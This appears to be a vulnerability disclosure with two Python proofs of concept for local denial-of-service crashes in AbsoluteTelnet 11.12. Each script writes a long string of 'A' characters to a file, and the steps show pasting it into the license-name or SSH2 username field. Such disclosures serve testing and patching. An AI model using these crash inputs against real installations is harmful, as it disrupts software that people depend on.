AbsoluteTelnet 11.12 Denial Of Service

`# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)  
# Discovery by: chuyreds  
# Discovery Date: 2020-02-05  
# Vendor Homepage: https://www.celestialsoftware.net/  
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe  
# Tested Version: 11.12  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 Pro x64 es  
  
  
#Steps to produce the crash:  
#1.- Run python code: AbsoluteTelent 11.12_license_name.py  
#2.- Open AbsoluteTelent_license_name.txt and copy content to clipboard  
#3.- Open AbsoluteTelnet.exe  
#4.- Select "Help" > "Enter License Key"  
#5.- In "License Name" paste Clipboard  
#6.- Crashed  
  
cod = "\x41" * 2500  
  
f = open('AbsoluteTelent_license_name.txt', 'w')  
f.write(cod)  
f.close()  
  
  
  
# Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)  
# Discovery by: chuyreds   
# Discovery Date: 2020-02-05  
# Vendor Homepage: https://www.celestialsoftware.net/  
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe  
# Tested Version: 11.12  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 Pro x64 es  
  
#Steps to produce the crash:  
#1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py  
#2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard  
#3.- Open AbsoluteTelnet  
#4.- Select "new connection file", "Connection", "SSH2", "Use last username"  
#5.- In "username" field paste Clipboard  
#6.- Select "OK"  
#7.- Crashed  
  
buffer = "\x41" * 1000  
f = open ("absolutetelnet_username_SSH2.txt", "w")  
f.write(buffer)  
f.close()  
`